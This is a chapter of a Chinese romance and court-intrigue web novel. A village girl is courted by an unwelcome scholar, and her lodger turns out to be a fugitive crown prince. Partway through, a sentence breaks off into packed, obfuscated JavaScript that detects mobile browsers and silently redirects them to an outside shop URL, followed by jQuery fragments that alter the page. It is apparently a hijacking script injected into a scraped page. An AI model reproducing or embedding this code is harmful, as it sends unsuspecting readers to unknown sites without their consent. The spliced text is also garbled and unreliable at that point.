9.牵肠挂肚
作品:《清怨月明中》 李清月忽然意识到,就算她与董良同住一室这么久,却依旧对那个人一无所知。
没有李清月打头阵,两个人的话逐日减少,有时她一个人坐在门槛边望着院外时,总是恍如隔世,仿若又回到了曾经孑然一身的日子。
从前夜里一人睡,李清月总是会梦到儿时的记忆,在那些破碎的过去中永远伴随着畏惧、疼痛与绝望,她彻夜难眠,埋进被子里喃喃自语,困倦了就囫囵睡一觉。
那是一种清醒又迷蒙的缓慢痛苦,好似有人把白布蒙在自己脸上,呼吸困难,连同孤寂如刺一般钉入骨髓。
李清月害怕,害怕再次失去陪伴,害怕到夜里埋在枕上哭。董良的到来于她而言是一根溺水时的浮木,让人欣喜万分又惶惶不安。
如今这根弦终究还是难以为继……
而随着秋风一日一日的吹,没想到把最不该来的人吹来了——
齐源这个不要脸的登徒子竟然还敢登门来占小姑娘便宜,这贱的程度简直登峰造极!
那个伪君子这次不装两袖清风的白面书生了,反而穿了一身花枝招展的衣裳,李清月都不敢穿的如此招摇。
他见院子大开着,不请自来十分顺理成章的走进去,看看菜田拍拍桌子,在院子里扮作闲云野鹤的鸡,真没拿自己当外人。
李清月听到了动静在门缝里瞧,看见此人气不打一处来,压根不想理会,自让他一个人乱晃悠吧。
可惜屋里还住着一位形同虚设的大尾巴狐狸,她不知怎么和董良杠上了,让他以为自己眼瞎能看上齐源那个狗东西,竟然字写到一半忽然顿住,搁下笔要去开门引狼入室。
在董良把人客套的请进屋、让那个狗屁不通的伪君子、对自己的屋子评头论足一番之前,她还是眼疾手快自己起身去开门了。
“齐源。”
“李姑娘!你在家呀……”齐源夺步走过去,又要行个什么不方不正的礼,李清月一口打断:
“不必,我们去院子,长话短说。”
李清月以迅雷不及掩耳之势关上屋门,没有理会董良疑惑的目光,将齐源领到灶房旁边,那离隔壁王婆婆养的大黄狗最近。
不过两人都没注意,院子后面的隐蔽处还藏着一个身影……
“李姑娘,几日未见,你……”
“闲言少叙,”李清月冷声打断,“你有何事?”
齐源还是先放了个不咸不淡的屁,将李清月的风姿吹捧了一番,而后自认抛砖引玉地说:“李姑娘,临近中秋,邻镇乡亲们合伙办了一场菊花会,姑娘今日可愿与我同去看个新鲜?”
李清月原想毫不留情的一口回绝,让齐源吃个闭门羹,可她忽然灵光一闪,心里冒出一个鬼点子,此时若是拒绝齐源,恐怕之后还要再来纠缠,倒不如一次让他死了心,以后眼不见心不烦。
“好吧,我去告知表兄,晌午饭之后我们再会。”
齐源眉开眼笑,点头絮叨了几句便走了。
——
“清月……”董良放下书卷,“方才来的是?”
李清月推门进来,没有再关门,淡淡道:“是前几日那个书生,齐源。”
董良装的十分逼真,还煞有其事的愣了片刻,接着说:“他找你何事?不过你应当与他没再有往来了吧。”
说着,他不甚在意的在纸上继续画着什么,李清月见他一副云淡风轻的样子就格外不爽,偏要说重话。
她走到缺了一条腿的衣柜前扒拉着寥寥无几的衣裙,一边也学着那股高高在上的语气说:“方才齐源约我去赏菊。”
董良笔尖一顿,声音好像冷了几分,“所以你应下了?”
李清月顿时有些后悔说出来,好像自己很在意对方会有什么不情愿她去的反应似的,如今落了空,更显刻意,可她只能硬着头皮壮胆说:“自然是,齐公子穿了件风流倜傥的衣裳,叫人一见倾心,还夸我秀外慧中,别具一格,我要挑件好看的衣裳赴约。”
李清月有个毛病,便是越胆怯越要逞凶斗狠,面上装出一层带刺的壳来弥补心中的退缩,自欺欺人的以为能不显山露水,实则外人看来无比的稚拙。
然而吹捧齐源的话她说了自己都嫌恶心,偏偏听者信了。
“……晚上早些回来。”
李清月只听见董良轻声说了这一句,便没有了后文。
——
秋意正浓,镇上满树的红枫一直从街头烧到街尾,人群熙攘,各色衣裳花红柳绿,似万紫千红一片春景。三两个孩童追着空中鸟雀掠过,叫卖的小贩将气氛烘至鼎沸,谁家檐下护花的风铎卷入秋菊香,泛出叮当的轻灵。
“李姑娘……”
李清月无视了齐源伸过来的手,心不在焉的走进去。
秋菊会正开在当街,没有专门的园子贡着这些娇花,有几盆都有落败之势,而观赏的人鱼龙混杂、纷扰不断,没有一点风雅趣意。
“清月姑娘,这花真衬你今日这身淡黄素裙。”
再加上有齐源这一路上的聒噪,李清月更是没有半点好脸色。
看着这些飘零凋败的花瓣,换作平日李清月很该心疼了,她是最喜欢摆弄这些的,只可惜今日醉翁之意不在酒,她走在齐源身旁、心猿意马,频频想起一个人……她也不知道为什么。
而她牵肠挂肚的人,此刻正换了一身十分不体面的粗布麻衣,脸上抹的脏兮兮的,坐在一辆由年过七旬的老头拉的牛车上,跟着混入了洛阳城。
这辆其貌不扬的简陋牛车上面还有一筐筐菜,应该是要送去哪家府邸,他一进了城先下了车向菜伯道谢,付了酬金之后径直往东走去。
没走几步远,路过一个告示牌,周围人围得水泄不通,尽是些嘴碎的闲人,声音一个比一个逞的高,汇成一锅粥。
董良没打算理会,只匆匆瞥了一眼,耳朵却恰好听到一句——
“这太子……”
董良猛然顿住脚步,快走泯然于人群,待确认安全之后,又折返回去,此时额头已经起了一层薄汗,袖中的手紧握成拳。
他脚步放慢,又轻又缓的伏在一个人背
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17087858|195234||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
后,这里人多口杂、摩肩接踵,自然毫不显眼。董良屏息凝神,静静聆听声潮纷扰,捕捉到了一丝想要的线索。
“这人在皇宫里,这也能平白不见了?”被董良暗伏在身上的人说。
另一个穿了身蓝色衣裳,面部崎岖的人头头是道地开口:“兄弟啊,这就是你孤陋寡闻了,这皇宫戒备森严,怎么可能丢人呢,定是那太子自己跑的。”
光天化日之下,一群草民无头苍蝇一般妄议国事,可见这个世道有多闲了,也可见这个太子恐怕没什么威信,换作皇帝老儿的谣言,谁敢就着菜下酒呢?
当今世道,清平盛世、政通人和,百废俱兴。
自当今圣上继位、天元五载以来,晟国百姓安居乐业、丰衣足食;皇宫里觥筹交错、歌舞升平;朝堂之上,群贤毕至、振鹭充庭……
人人都称颂陛下励精图治、知人善任,清名应当流芳百世……这是一个不需要太子的国家。仿佛永远没有战火来犯,不必愁柴米贵。
这不过是一个天大的骗局,千万人织就的一张天衣无缝的网,一个迷醉人的美梦罢了。
董良自然明白东宫太子是如何消失无踪的,因为他就是太子——董玄懿。
事情所有源起,能追溯到他在宫中与各位胞弟“兄友弟恭”的多番死斗,刺杀一事自然是没人有胆在皇帝眼皮底下造次的,于是当他出了皇宫,稍走漏了风声,有些走狗鼠辈便按耐不住了。
此番遭人掣肘,出在了有内鬼……他最亲爱的幼弟出卖了他,转头去给三弟舔鞋了。
忆及这些,他就不免想起那晚血雨腥风,刀光剑影中他被一寸寸割烂的皮肤,和少时弟弟那张稚嫩乖巧的脸……
董良心中腾起杀意,不动声色从人潮中离去,没留下任何痕迹。
自己下落不明的事早该败露了,偏偏此刻被沸沸扬扬洒进人群里,若他此时有所行动,便如咬饵的鱼,人人得而诛之。
他终日避在石坡村养伤,如今刚见大好、久病初愈,本是一桩好事,终于能离开这个不毛之地,只可惜城里有什么动静都传不进闭塞的村子,真是流年不利,恰巧让他撞到风口浪尖上,就是想走也走不了了。
本来董良有心混入城中去寻自己零星布在各地的暗桩,这些年他积攒的脉络与暗部并不算少,只是从没想过会遇到这种境地,没有做过预设,最近的也要走到城东的铺子……不过现下也不必去了,说不准旧部叛主倒戈的有几处,被拔除的也不少,一切还须再做筹谋、从长计议。
既然他走不了了,可伤又修养的差不多了……他还有什么理由顺理成章的继续宿在李清月家里呢?
不行,他不能走。石坡村是最好也是最便利的避祸之处,如果是三弟的做派,接下来官兵应该会大肆搜查各地,不计代价的搜出一个太子来杀之后快,自己是不可能逃到天涯海角的。
而且……
总之,董良必须想一个办法,让李清月顺利成章的留下自己,最好是她哭着求着,主动示好,这样自己说不准还会愿意哄她一个誓言。

